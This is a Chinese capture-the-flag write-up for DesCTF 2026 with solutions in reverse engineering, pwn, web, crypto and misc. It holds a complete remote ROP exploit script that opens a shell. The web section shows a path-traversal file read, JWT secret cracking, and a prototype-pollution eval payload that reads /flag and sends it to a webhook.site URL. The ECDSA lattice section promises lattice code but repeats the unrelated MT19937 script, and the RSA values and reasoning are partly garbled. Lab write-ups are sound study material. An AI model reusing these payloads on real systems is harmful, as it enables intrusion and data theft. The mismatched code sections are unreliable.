DesCTF 2026

Reverse

VINe

wireshark先打开流量包分析，发现回应Right对应的加密串是 `d506b266d52ec405cbd409a612e4dc75d2656a9114af2b1f2f83c071e2f0e2dd79ddF`

- 解包 APK，定位 `VinInputActivity.encrypt()` 对应 native： `libnative-lib.so`
- 符号表找到关键函数： `enhancedEncrypt` 、 `bytesToHex`
- `strings` 提取硬编码：
  - key = `MySecretKey123!@#`
  - salt = `AndroidNative2024`
- 还原逻辑：先拼 `salt + VIN` ，再做 3 轮逐字节变换（轮常量分别 +0/+1/+2），最后 hex 编码
- 题目给的目标串末尾多了个 `F` （总长 69，非合法 hex 长度），去掉后逆运算
- 逆出明文： `AndroidNative2024` + `12345678901234567`

代码块

```
KEY = b"MySecretKey123!@#"
SALT = b"AndroidNative2024"

def fwd_byte(x: int, k: int, addv: int) -> int:
    return ((((k + x) & 0xFF) ^ ((k << 1) & 0xFF)) + addv) & 0xFF

def inv_byte(y: int, k: int, addv: int) -> int:
    for x in range(256):
        if fwd_byte(x, k, addv) == y:
            return x
    raise ValueError("inverse not found")

def encrypt_vin(vin: str) -> str:
    buf = bytearray(SALT + vin.encode())
    for r in (0, 1, 2):
        for i, b in enumerate(buf):
            k = KEY[i % len(KEY)]
            buf[i] = fwd_byte(b, k, r)
    return buf.hex()

```

```python
def recover_vin_from_target(target_hex: str) -> str:
    # 题目串末尾有噪声 F，导致奇数长度，去掉
    if len(target_hex) % 2 == 1:
        target_hex = target_hex[:-1]

    data = bytearray.fromhex(target_hex)

    # 逆序还原 3 轮: 2 -> 1 -> 0
    for r in (2, 1, 0):
        for i, b in enumerate(data):
            k = KEY[i % len(KEY)]
            data[i] = inv_byte(b, k, r)

    raw = bytes(data)
    if not raw.startswith(SALT):
        raise ValueError(f"salt mismatch: {raw[:16]!r}")

    vin = raw[len(SALT):].decode("utf-8", errors="strict")
    return vin

if __name__ == "__main__":
    target = "d506b266d52ec405cbd409a612e4dc75d2656a9114af2b1f2f83c071e2f0e2dd79ddF"

    vin = recover_vin_from_target(target)
    print("[+] VIN =", vin)

    cipher = encrypt_vin(vin)
    print("[+] Re-Encrypt =", cipher)
```

最终 VIN：12345678901234567

`flag{12345678901234567}`

Pwn

array

- read(0,8) 读整数，小端 qword 输入。
- 栈上 arr[number2] 可越界写，arr[22] 覆盖返回地址、arr[23] 覆盖其后一个 qword，arr[16] 覆盖 number1。
- 利用未 srand() 的固定 rand()%18（前两次是 1、16）：先写 idx=0 过关，再写 idx=16 把 number1 改成超大，后续可写大下标。

- 写 ROP：arr[22]=0x401338(ret) 对齐栈，arr[23]=0x401339(win)，输入 D 结束循环触发 ret->ret->win->system("/bin/sh")，然后 cat flag。

运行 `python .\\solve_array_remote.py 129.211.172.20 32359` 即可

代码块

```
import argparse
import re
import socket
import struct
import time

def qword(value: int) -> bytes:
    return struct.pack("<Q", value)

def build_payload() -> bytes:
 `    # For the provided 'array' ELF (non-PIE):
    # - 0x401339: win() -> system("/bin/sh")
    # - 0x401338: ret gadget (stack alignment fix)
    win_addr = 0x401339
    ret_gadget = 0x401338

    payload = b""

    # number1 <= 0x11 to pass check
    payload += qword(17)
    payload += b"\n"  # getchar after number1 (not 'D')

    # Iter1: rand()%18 == 1 -> index 0 always OK
    payload += b"\n" + qword(0) + qword(0) + b"\n"

    # Iter2: rand()%18 == 16 -> overwrite number1 to huge
    payload += b"\n" + qword(16) + qword(0x7FFFFFFFFFFFFFFF) + b"\n"

    # Iter3: overwrite saved RIP -> ret gadget
    payload += b"\n" + qword(22) + qword(ret_gadget) + b"\n"

    # Iter4: next stack slot -> win(), then exit loop
    payload += b"\n" + qword(23) + qword(win_addr) + b"D"

    return payload

def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Exploit remote 'array' service (CTF container) and print the flag."
    )
```

```python
    parser.add_argument("host", help="Remote host/IP")
    parser.add_argument("port", type=int, help="Remote TCP port")
    parser.add_argument(
        "--cmd",
        # Avoid stderr redirection to /dev/null: some sandboxes mount /dev as read-only.
        default="cat flag; cat ./flag; cat /flag; cat /home/ctf/flag; cat /home/*/flag; cat /tmp/flag; exit",
        help="Shell commands to run after getting /bin/sh",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=5.0,
        help="Socket timeout seconds",
    )
    return parser.parse_args()

def recv_all(sock: socket.socket, idle_timeout: float = 1.0, max_total: int = 1_000_000) -> bytes:
    sock.settimeout(idle_timeout)
    out = bytearray()
    while len(out) < max_total:
        try:
            chunk = sock.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
        out += chunk
    return bytes(out)

def safe_text(data: bytes) -> str:
    # Keep printable ASCII + whitespace; replace the rest to avoid console encoding issues.
    return "".join(chr(b) if 32 <= b < 127 or b in (9, 10, 13) else "." for b in data)

def main() -> int:
    args = parse_args()

    payload = build_payload()
    payload += b"\n"  # harmless for shell
    payload += args.cmd.encode("utf-8") + b"\n"

    with socket.create_connection((args.host, args.port), timeout=args.timeout) as sock:
```

```
        sock.sendall(payload)
        # give the service a moment to run commands and flush output
        time.sleep(0.2)
        out = recv_all(sock, idle_timeout=args.timeout)

    print(safe_text(out).strip())

    hits = re.findall(rb"(flag\{[^}]+\}|[A-Za-z]+ctf\{[^}]+\})", out, flags=re.IGNORECASE)
    if hits:
        print("\n[+] Candidate flag(s):")
        for h in hits:
            print(h.decode("utf-8", errors="replace"))

    return 0

if __name__ == "__main__":
    raise SystemExit(main())

```

`flag{992d9b03-d75e-4d6f-a81b-a7cb261c1f9e}`

Web

Baby Java

app.3d1613840f39fc707dbf.js

```
 var j = [{
            path: "/",
            name: "login",
            component: function() {
                return Promise.all([n.e("chunk-39554060"), n.e("chunk-16316b1c")]).then(n.bind(null, "dd7b"))
            }
        }, {
            path: "/home",
            name: "home",
            component: function() {
                return n.e("chunk-5bf90f37").then(n.bind(null, "6511"))
            },
            children: Object(g["a"])(w)
        }, {
            path: "/404",
            name: "404",
            component: function() {
```

```
                return n.e("chunk-5be59ad2").then(n.bind(null, "1db4"))
            }
        }, {
            path: "/download",
            name: "download",
            component: function() {
                return n.e("chunk-218b9e3a").then(n.bind(null, "0ea3"))
            }
        }, {
            path: "/fileOnline",
            name: "fileOnline",
            component: function() {
                return Promise.all([n.e("chunk-39554060"), n.e("chunk-4c46c7bb")]).then(n.bind(null, "0d92"))
            }
        }]
          , B = new k["a"]({
            routes: j
        })
          , N = "login"
          , Q = function(e, t) {
            var n = JSON.parse(t).userType
              , o = j.findIndex((function(t) {
                return t.name === e
            }
            ))
              , a = w.findIndex((function(t) {
                return t.name === e && t.meat.verify.findIndex((function(e) {
                    return e == n
                }
                )) > -1
            }
            ));
            return -1 !== o || -1 !== a
        };
```

然后看到一个下载，预览文件的接口，都调用了/ZGXT/waterToDeclareWithAttachment/downLoad

代码块

```
post_downLoad: function(e) {
                return V.post("".concat(K, "/waterToDeclareWithAttachment/downLoad"), e, {
                    responseType: "blob",
                    headers: {
                        "Content-Type": "application/json"
```

```
                    }
                })
            },
            post_previewOnline: function(e) {
                return V.post("".concat(K, "/waterToDeclareWithAttachment/downLoad"), e, {
                    responseType: "arraybuffer",
                    headers: {
                        "Content-Type": "application/json"
                    }
                })
            }
```

可以发现/ZGXT/waterToDeclareWithAttachment/downLoad是一个无鉴权的接口，期望一个json请求体，猜默认参数名filePath

代码块

```
POST /ZGXT/waterToDeclareWithAttachment/downLoad HTTP/1.1
Host: 129.211.172.20:30316
Content-Type: application/json
Content-Length: 21

{"filePath": "/flag"}
```

得到flag

代码块

```
HTTP/1.1 200
Content-Disposition: attachment; filename=flag
Content-Type: application/x-msdownload
Content-Length: 43
Date: Sun, 08 Mar 2026 03:42:07 GMT

flag{7ee17b85-4460-45d5-a0bc-9cb88245356f}

```

NoteHub

随便发个get后在回传中发现Hint: 6e6565642061646d696e

need admin

发现jwt
爆破密钥

```
C:\Windows\System32\cmd.e>

* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 1460 MB (16648 MB free)

Dictionary cache hit:
* Filename..: D:\学习笔记\学习资料\jwt字典\1_to_4位字典.txt
* Passwords.: 66347190
* Bytes.....: 397337670
* Keyspace..: 66347190

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNzcyOTM0OTcwLCJleHAiOjE3NzI5Mzg1NzB9.gbwRv0ukQE
yQ_nuaAyxJQbK6ldFvxpWKJJpielf9f64:aB3x

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...lf9f64
Time.Started.....: Sun Mar 08 09:57:01 2026 (0 secs)
Time.Estimated...: Sun Mar 08 09:57:01 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (D:\学习笔记\学习资料\jwt字典\1_to_4位字典.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   191.9 MH/s (3.02ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Speed.#02........: 10244.1 kH/s (12.10ms) @ Accel:565 Loops:1 Thr:64 Vec:1
Speed.#*.........:   202.1 MH/s
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
```

伪造拿到一个admin jwt进入write端点

根据给出的附件源代码

代码块

```
const undefsafe = require('undefsafe');
const jwt = require("jsonwebtoken");
const secretKey = "???";

class Notes {
    constructor() {
        this.id = 0;
        this.title = "Title";
        this.author = "Author";
        this.note = {};
    }
    addNote(id, author, content) {
```

```
        this.note[(id).toString()] = {
            "author": author,
            "content": content
        };
        if (id) {
            undefsafe(this.note, id + '.author', author); //原型链污染
            let commands = {
                "runner": "1+1",
            };
            for (let index in commands) {
                eval(commands[index]);
            }
        }
    }
    showNote(id) {
        // ...
    }
    showAll() {
        // ...
    }
}

```

undefsafe存在原型链污染，可以将最后一个参数作为值污染到第二个参数代表的属性上，如果传入id=constructor.prototype，然后author传入可执行代码，那么所有怕普通对象的原型都会被污染，此时for遍历commands的属行时，如果commands对象没有该属性就会自动向它的原型取值，也就会取到原型被污染的author值，把它丢到eval里面执行。所以我们构造paylod如下：

Payload

代码块

```
{
  "id": "constructor.prototype",
  "author": "try { var m = 'f'+'s'; var p = '/'+'f'+'lag'; var d = require(m).readFileSync(p, 'utf8'); require('http').get('http://webhook.site/b1fb4596-4063-473a-8283-9cc5c320f378/?pass=' + encodeURIComponent(d)); } catch(e) { require('http').get('http://webhook.site/b1fb4596-4063-473a-8283-9cc5c320f378/?error=' + encodeURIComponent(e.message)); }",
  "content": "123"
}
```

这里由于过滤了fs，/flag等，所以用'+'连接绕过，最终得到flag

```
flag{c820c142-3261-4c58-86eb-bd76a955ceac}
```

Crypto

Check in

d的大小估计，题目中给的d大概是n的0.47幂，这是一个可能利用维纳攻击和BF攻击的形式,但是题上是0.47，但是0.212，暂时无法用维纳，但他暴露了大小特征

漏洞来源于自定义的KEY，在2次方下可以近似忽略其他视作p**2,q**2,可以尝试除以N**2得到KEY

得到之后张开KEY的表达式，整理成N的方程，令p+q为S,得到二元一次方程

解出p+q,p*q,后面就不阐述了

flag{563ca40e34c288a7fa6a0384b69ccac4}

代码块

```
from sage.all import *
from hashlib import md5
e = 20285928988408708385825788658664300305494782819689883492429762785687493161646901961627732482030570554944571523044008931416609595056746847083499405860944240804200816473153171825246196297214879750749954991916614158499347588230595409852985660426387332691700171974951765953937059128044510635005259571262430221092123685629379451869171518153057333553882827808279895371867053070597655168641441209936240962391624079704514097507822408340977683148014817264999772615710237278286803551400605422497036878844692741788304043681532328471441465596285604159664321904195632202009921776619257725630740166796422445907541165144233376010917
N = 16231886419812084828960251368529410021366200231052404001614126708260221170280175162727158710773822346664439936387901805853686430788925405030560509778172184747424076941005048064644753869825360078601759923383171471001039599630836167497378928346558701096032304220956445990425704266029306184425854411856655851688 1
d = Integer(Integer(N)**RR(0.47))
K = e * d - 1
k_est = K // (N**2)
k = None
for offset in range(-10, 11):
    if K % (k_est + offset) == 0:
        k = k_est + offset
        break
if k is None:
    raise ValueError("未能找到正确的整数倍 k，请检查过程。")
phi_N = K // k
A = 1
```

```
B = N + 1
C = N**2 - N + 1 - phi_N
Discriminant = B**2 - 4*A*C
if Discriminant.is_square():
    S = (-B + Discriminant.sqrt()) // (2*A)
    print(f"[+] 成功求得 S (p+q) = {S}\n")
    flag_str = 'flag{' + md5(str(S).encode()).hexdigest() + '}'
    print(f"[+] {flag_str}")
else:
    print("[-] 求解失败：判别式不是完全平方数。")
```

尽人事，听天命

这是一道典型的MT19937倒推，有624个连续输出时，可以一一逆向（这里有足够的数据还是连续的，故可以），也可以根据线性的特征进行格基处理

只要破解了，就可以预测

具体的init,ex的逆向就不展开了

接下来是简单方程求解

yin*yang = bound

yin xor(yang>>6) = trace

通过枚举bound的因数，可以得到yin(分子)，之后得解

DesCTF{28dc9b687456ef5897c4477a98a8bdbf}

代码块

```
import random
import re
from hashlib import md5
def untemper(y):
    y ^= (y >> 18)
    y ^= (y << 15) & 0xefc60000
    temp = y
    for _ in range(7):
        y = temp ^ ((y << 7) & 0x9d2c5680)
    temp = y
    y = temp ^ (y >> 11)
    y = temp ^ (y >> 11)
    return y & 0xffffffff
def get_factors(n):
    factors = set()
    for i in range(1, int(n**0.5) + 1):
```

```python
        if n % i == 0:
            factors.add(i)
            factors.add(n // i)
    return factors
def solve():
    with open('命书.txt', 'r', encoding='utf-8') as f:
        content = f.read()
    seal_a = int(re.findall(r'阴阳交积封印: (\d+)', content)[0])
    seal_b = int(re.findall(r'阴阳离合封印: (\d+)', content)[0])
    omens = [int(x) for x in re.findall(r'天命: (\d+)', content)]
    outputs = []
    for i in range(0, 2492, 4):
        val = omens[i] | (omens[i+1] << 8) | (omens[i+2] << 16) | (omens[i+3] << 24)
        outputs.append(val)
    part_624 = omens[2492] | (omens[2493] << 8) | (omens[2494] << 16)
    print("[*] 正在尝试恢复状态并解密...")
    for last_byte in range(256):
        val_624 = part_624 | (last_byte << 24)
        current_outputs = outputs + [val_624]
        state = [untemper(x) for x in current_outputs]
        random.setstate((3, tuple(state + [624]), None))
        r_low = random.getrandbits(32)
        r_high = random.getrandbits(32)
        r64 = r_low | (r_high << 32)
        r32 = random.getrandbits(32)
        bound = seal_a ^ r64
        trace = seal_b ^ r32
        if bound <= 0: continue
        for yin in get_factors(bound):
            yang = bound // yin
            if yin ^ (yang >> 6) == trace:
                print(f"\n[+] 匹配成功! ")
                print(f"    yin: {yin}, yang: {yang}")
                res = sorted([yin, yang])
                flag_str = f"{res[0]}|{res[1]}"
                print(f"    Flag: DesCTF{{{md5(flag_str.encode()).hexdigest()}}}")
                return
if __name__ == "__main__":
    solve()
```

low bit high risk

这题是标准的 ECDSA 部分 nonce 泄露 → HNP → 格攻击

普通 LLL/Babai 只能对上部分样本，说明建模基本正确、瓶颈在更强的 CVP/嵌入求解。现在环境里能上 fpylll，改用更合适的 embedding，并尝试降维和居中误差来把精确的 d 拉出来,之前我枚举了一些，错了，老实了，用更优的解法，换LSP

构造一个62的格

代码块

```
import random
import re
from hashlib import md5
def untemper(y):
    y ^= (y >> 18)
    y ^= (y << 15) & 0xefc60000
    temp = y
    for _ in range(7):
        y = temp ^ ((y << 7) & 0x9d2c5680)
    temp = y
    y = temp ^ (y >> 11)
    y = temp ^ (y >> 11)
    return y & 0xffffffff
def get_factors(n):
    factors = set()
    for i in range(1, int(n**0.5) + 1):
        if n % i == 0:
            factors.add(i)
            factors.add(n // i)
    return factors
def solve():
    with open('命书.txt', 'r', encoding='utf-8') as f:
        content = f.read()
    seal_a = int(re.findall(r'阴阳交积封印: (\d+)', content)[0])
    seal_b = int(re.findall(r'阴阳离合封印: (\d+)', content)[0])
    omens = [int(x) for x in re.findall(r'天命: (\d+)', content)]
    outputs = []
    for i in range(0, 2492, 4):
        val = omens[i] | (omens[i+1] << 8) | (omens[i+2] << 16) | (omens[i+3] << 24)
        outputs.append(val)
    part_624 = omens[2492] | (omens[2493] << 8) | (omens[2494] << 16)
    print("[*] 正在尝试恢复状态并解密...")
    for last_byte in range(256):
        val_624 = part_624 | (last_byte << 24)
        current_outputs = outputs + [val_624]
        state = [untemper(x) for x in current_outputs]
        random.setstate((3, tuple(state + [624]), None))
        # task.py: pull(64) -> 两次 getrandbits(32)
```

```
        # x |= random.getrandbits(32) << 0
        # x |= random.getrandbits(32) << 32
        r_low = random.getrandbits(32)
        r_high = random.getrandbits(32)
        r64 = r_low | (r_high << 32)
        r32 = random.getrandbits(32)
        bound = seal_a ^ r64
        trace = seal_b ^ r32
        if bound <= 0: continue
        for yin in get_factors(bound):
            yang = bound // yin
            if yin ^ (yang >> 6) == trace:
                print(f"\n[+] 匹配成功! ")
                print(f"    yin: {yin}, yang: {yang}")
                res = sorted([yin, yang])
                flag_str = f"{res[0]}|{res[1]}"
                print(f"    Flag: DesCTF{{{md5(flag_str.encode()).hexdigest()}}}")
                return
if __name__ == "__main__":
    solve()

```

得出

DesCTF{9669bfa7126ffabbc99cd92f1165938a}

签到

这道题没有用解码，而是用了osint的思路

结合题目上背景，得到伊朗，2.28，经纬度3个关键词

先从经纬度入手，周边找刻意地点，得到美军乌代德空军基地这个地址，再发散结合日期，伊朗搜索信息

看到以下报告：https://www.backchina.com/news/2026/03/06/1017907.html

搜索伊朗相关报告，得到名称

真实承诺4（Operation True Promise 4）

4与0100相符，大概就是结果了

flag{真实承诺4}

Misc

Wireshark

根据题目提示，我们需要在额外通信中提取出隐藏的信息

wireshark分析流量，绝大多数 Modbus 报文正常，但在 pkt 31213~31223 出现一组 FC=8、UnitID=5/7、8 字节高熵数据（明显异常且协议合法）。

利用信息熵原理提取隐藏内容

key是 `S7COMM01`

`DES-ECB` 解密得到flag

代码块

```
import argparse
import re
from collections import Counter
from math import log2

from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad
from scapy.all import IP, TCP, Raw, PcapNgReader

def printable_ascii(data: bytes) -> str:
    return "".join(chr(b) if 32 <= b < 127 else "." for b in data)

def entropy(data: bytes) -> float:
    if not data:
        return 0.0
    c = Counter(data)
    n = len(data)
    return -sum((v / n) * log2(v / n) for v in c.values())

def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Extract hidden Modbus CTF flag from pcapng."
    )
    parser.add_argument("pcap", help="Path to challenge pcapng")
    parser.add_argument(
        "--master",
        default="192.168.100.10",
        help="Expected Modbus master/source IP",
    )
    parser.add_argument(
        "--slave",
        default="192.168.100.101",
        help="Expected Modbus slave/destination IP",
    )
```

```python
    parser.add_argument(
        "--key",
        default="auto",
        help="DES key (8 chars). Use 'auto' to search in traffic.",
    )
    return parser.parse_args()

def iter_modbus_packets(pcap_path: str):
    for idx, pkt in enumerate(PcapNgReader(pcap_path), start=1):
        if IP not in pkt or TCP not in pkt or Raw not in pkt:
            continue
        ip = pkt[IP]
        tcp = pkt[TCP]
        data = bytes(pkt[Raw].load)
        if len(data) < 8:
            continue
        if data[2:4] != b"\x00\x00":
            continue
        mbap_len = int.from_bytes(data[4:6], "big")
        if mbap_len + 6 != len(data):
            continue
        yield idx, float(pkt.time), ip.src, ip.dst, tcp.sport, tcp.dport, data

def find_fake_flags(modbus_stream):
    fake = []
    for row in modbus_stream:
        idx, ts, src, dst, sport, dport, data = row
        if b"flag{" in data.lower():
            fake.append((idx, ts, src, dst, sport, dport, data))
    return fake

def find_des_key(modbus_stream) -> bytes:
    token_re = re.compile(rb"[A-Z0-9]{8}")
    candidates = []
    for _, _, _, _, _, _, data in modbus_stream:
        for m in token_re.finditer(data):
            token = m.group(0)
            if any(ch.isdigit() for ch in token.decode("ascii", errors="ignore")):
                candidates.append(token)

    if not candidates:
        return b"S7COMM01"

    # 选最常见的token
    most_common = Counter(candidates).most_common(1)[0][0]
    return most_common
```

```python

def collect_hidden_chunks(modbus_stream, master_ip: str, slave_ip: str):
    chunks = []
    for row in modbus_stream:
        idx, ts, src, dst, sport, dport, data = row
        # Request to 502, FC=8, special unit IDs, 8-byte diagnostic payload.
        if not (src == master_ip and dst == slave_ip and dport == 502):
            continue
        if data[7] != 8:
            continue
        unit_id = data[6]
        if unit_id not in (5, 7):
            continue
        if len(data) < 18:
            continue
        subfunc = int.from_bytes(data[8:10], "big")
        payload = data[10:]
        if subfunc != 0 or len(payload) != 8:
            continue
        chunks.append((idx, ts, unit_id, payload, entropy(payload)))
    return chunks

def decrypt_flag(ciphertext: bytes, key: bytes) -> str:
    pt = DES.new(key, DES.MODE_ECB).decrypt(ciphertext)
    try:
        pt = unpad(pt, 8)
    except ValueError:
        pass
    return pt.decode("utf-8", errors="replace")

def main():
    args = parse_args()
    modbus_rows = list(iter_modbus_packets(args.pcap))
    if not modbus_rows:
        raise SystemExit("No valid Modbus/TCP packets found.")

    fake_flags = find_fake_flags(modbus_rows)

    if args.key == "auto":
        key = find_des_key(modbus_rows)
    else:
        key = args.key.encode("ascii", errors="ignore")

    if len(key) != 8:
        raise SystemExit(f"DES key must be exactly 8 bytes, got: {key!r}")

    chunks = collect_hidden_chunks(modbus_rows, args.master, args.slave)
```

```
    if not chunks:
        raise SystemExit("No suspicious FC=8 hidden chunks found.")

    ciphertext = b"".join(x[3] for x in sorted(chunks, key=lambda r: r[1]))
    result = decrypt_flag(ciphertext, key)

    print("[+] Total valid Modbus packets:", len(modbus_rows))
    print("[+] DES key:", key.decode(errors="replace"))

    if fake_flags:
        print("[+] Fake flag hits:")
        for idx, ts, src, dst, sport, dport, data in fake_flags:
            print(
                f"    pkt={idx} time={ts:.6f} {src}:{sport}->{dst}:{dport} "
                f"hex={data.hex()} ascii={printable_ascii(data)}"
            )

    print("[+] Hidden chunks (FC=8, UnitID in {5,7}):")
    for idx, ts, uid, payload, h in chunks:
        print(f"    pkt={idx} time={ts:.6f} uid={uid} H={h:.3f} data={payload.hex()}")

    print("[+] Recovered plaintext:", result)

    m = re.search(r"(flag\{[^}]+\}|[A-Za-z]+ctf\{[^}]+\})", result, flags=re.IGNORECASE)
    if m:
        print("[+] Candidate flag:", m.group(1))

if __name__ == "__main__":
    main()

```

`flag{a3f8e2d1-7c19-4a6b-b5e8-9d2f0c4a7e31}`

Neural Secrets

对pth进行加载 checkpoint 后，把 eval_cache（39x64）每行向量在 embedding.weight（95x64）里做最近邻匹配，再用 vocab 反查字符，拼出整段字符串。

代码块

```
import argparse
import os
import tempfile
import zipfile

```

```python
import torch

def _is_archive_dir(path: str) -> bool:
    return (
        os.path.isdir(path)
        and os.path.isfile(os.path.join(path, "data.pkl"))
        and os.path.isdir(os.path.join(path, "data"))
    )

def _resolve_archive_dir(path: str) -> str:
    path = os.path.abspath(path)
    if _is_archive_dir(path):
        return path

    # Support passing ".../archive/data"
    if os.path.basename(path).lower() == "data":
        parent = os.path.dirname(path)
        if _is_archive_dir(parent):
            return parent

    raise FileNotFoundError(
        "Input directory is not a valid extracted torch archive root "
        "(expected data.pkl + data/)."
    )

def _load_checkpoint_from_archive_dir(archive_dir: str):
    archive_dir = _resolve_archive_dir(archive_dir)
    root_name = os.path.basename(archive_dir.rstrip("\\/"))

    tmp_path = None
    try:
        with tempfile.NamedTemporaryFile(suffix=".pth", delete=False) as tmp:
            tmp_path = tmp.name

        with zipfile.ZipFile(tmp_path, "w", compression=zipfile.ZIP_STORED) as zf:
            for root, _, files in os.walk(archive_dir):
                for name in files:
                    file_path = os.path.join(root, name)
                    rel = os.path.relpath(file_path, archive_dir).replace("\\", "/")
                    zf.write(file_path, f"{root_name}/{rel}")

        return torch.load(tmp_path, map_location="cpu")
    finally:
        if tmp_path and os.path.exists(tmp_path):
            os.remove(tmp_path)
```

```python

def load_checkpoint(input_path: str):
    input_path = os.path.abspath(input_path)
    if os.path.isdir(input_path):
        return _load_checkpoint_from_archive_dir(input_path)
    return torch.load(input_path, map_location="cpu")

def extract_secret(ckpt: dict) -> str:
    model_state = ckpt["model_state_dict"]
    embedding = model_state["embedding.weight"].detach().cpu().float()  # [V, D]
    eval_cache = ckpt["eval_cache"].detach().cpu().float()  # [N, D]
    vocab = ckpt["vocab"]  # char -> idx

    # Nearest embedding row for each eval_cache row.
    # distances: [N, V]
    distances = ((eval_cache[:, None, :] - embedding[None, :, :]) ** 2).sum(dim=2)
    indices = distances.argmin(dim=1).tolist()

    inv_vocab = {idx: ch for ch, idx in vocab.items()}
    return "".join(inv_vocab.get(i, "?") for i in indices)

def main():
    parser = argparse.ArgumentParser(
        description="Extract hidden text from a PyTorch checkpoint or extracted archive directory."
    )
    parser.add_argument(
        "input",
        help="Path to .pth file OR extracted archive root (or archive/data).",
    )
    args = parser.parse_args()

    ckpt = load_checkpoint(args.input)
    secret = extract_secret(ckpt)
    print(secret)

if __name__ == "__main__":
    main()

```

`DesCTF{n3ur4l_st3g0_1n_emb3dd1ng_sp4c3}`

infrared_code

先看 `ir_challenge.txt`，全是 NECext 的 `command`。

拿 `00 BF 00 00` 去 IRDB 对，命中 Hisense 键位：

- `16E9` 上
- `17E8` 下
- `19E6` 左
- `18E7` 右
- `15EA` 确认

界面是 6x6 字符盘：

代码块

```
ABCDEF
GHIJKL
MNOPQR
STUVWX
YZ1234
567890
```

思路就是纯模拟光标移动 + OK 输入。

注意顶部有功能键，序列里会触发一次删除，所以中间字符会被修正，不是一路直出。

直接脚本复现：

代码块

```python
import re

rows = ["ABCDEF","GHIJKL","MNOPQR","STUVWX","YZ1234","567890"]
U,D,L,R,OK = 0x16,0x17,0x19,0x18,0x15

cmd = []
for line in open("ir_challenge.txt", encoding="utf-8"):
    m = re.search(r"command:\s*([0-9A-F]{2})", line)
    if m: cmd.append(int(m.group(1), 16))

# 顶部功能行：假设 col=1 是清空，col=4 是删除（与截图/序列匹配）
r, c = 0, 4   # 初始光标在顶部删除附近
out = []
H, W = 7, 6   # row0 功能行 + 6 行字符

for x in cmd:
    if x == U: r = max(0, r-1)
    elif x == D: r = min(H-1, r+1)
    elif x == L: c = max(0, c-1)
```

```python
    elif x == R: c = min(W-1, c+1)
    elif x == OK:
        if r == 0:
            if c == 1: out = []          # clear
            elif c == 4 and out: out.pop()  # delete
        else:
            out.append(rows[r-1][c])

print("".join(out).lower())
```

输出：`flag1nfr4r3disfun`

`flag{1nfr4r3disfun}`

Real sign in?（赛后）

先利用png头固定的字节进行一下明文攻击

代码块

```
bkcrack -C challenge.zip -c flag.png -x 0 89504E470D0A1A0A
```

里面的图片是一个zigzag加密，写个脚本或者使用工具即可解出

`I_love_DesCTF`

`DesCTF{Have fun and enjoy the challenges ahead!!!}`